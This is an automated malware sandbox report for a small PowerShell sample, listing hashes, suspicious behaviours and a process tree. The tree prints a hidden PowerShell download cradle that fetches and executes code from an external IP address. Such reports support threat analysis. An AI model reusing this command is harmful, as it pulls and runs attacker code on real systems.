Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
19/03/2024, 16:38
240319-t5q13ahc8y 1Analysis
-
max time kernel
120s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
19/03/2024, 16:38
Static task
static1
Behavioral task
behavioral1
Sample
Test.ps1
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Test.ps1
Resource
win10v2004-20240226-en
General
-
Target
Test.ps1
-
Size
117B
-
MD5
4f60861d22bcfd6a3ead487152fb3d80
-
SHA1
d48998cdcc17907319d889b74e0d3473eeb8ee62
-
SHA256
c7b15b54c005c50148ca4fd1ceefe0a0d92bf88160aaf4227d5dcb491e222e4d
-
SHA512
5c5a942e1c9d0d4e48c77b08f7a244b36802c684f23e9cd82b0c039b743bfba0c60b90860ebfc87ea588699829f420411a4453787a85c60364db0069b3f61856
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1668 powershell.exe 2532 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1668 powershell.exe Token: SeDebugPrivilege 2532 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1668 wrote to memory of 2532 1668 powershell.exe 29 PID 1668 wrote to memory of 2532 1668 powershell.exe 29 PID 1668 wrote to memory of 2532 1668 powershell.exe 29
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\Test.ps11⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://194[.]165[.]16[.]55:80/a'))"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2532
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5072b8f960ce4543d042704b9cccec2b3
SHA1eac9108135062103759a0c251e18da1f9b568b65
SHA256146a8efeca2e11ebc7b8e71daa19371c20a5686ba0d5605c94b111b20111a9e5
SHA51209a977235a939c057724f0a6b450ed9966b64fb5ae01452131b61290934b891f4725be50ace2357b4247992510a0a862c312ecfd6dfa539c04ddbef3ba7efe69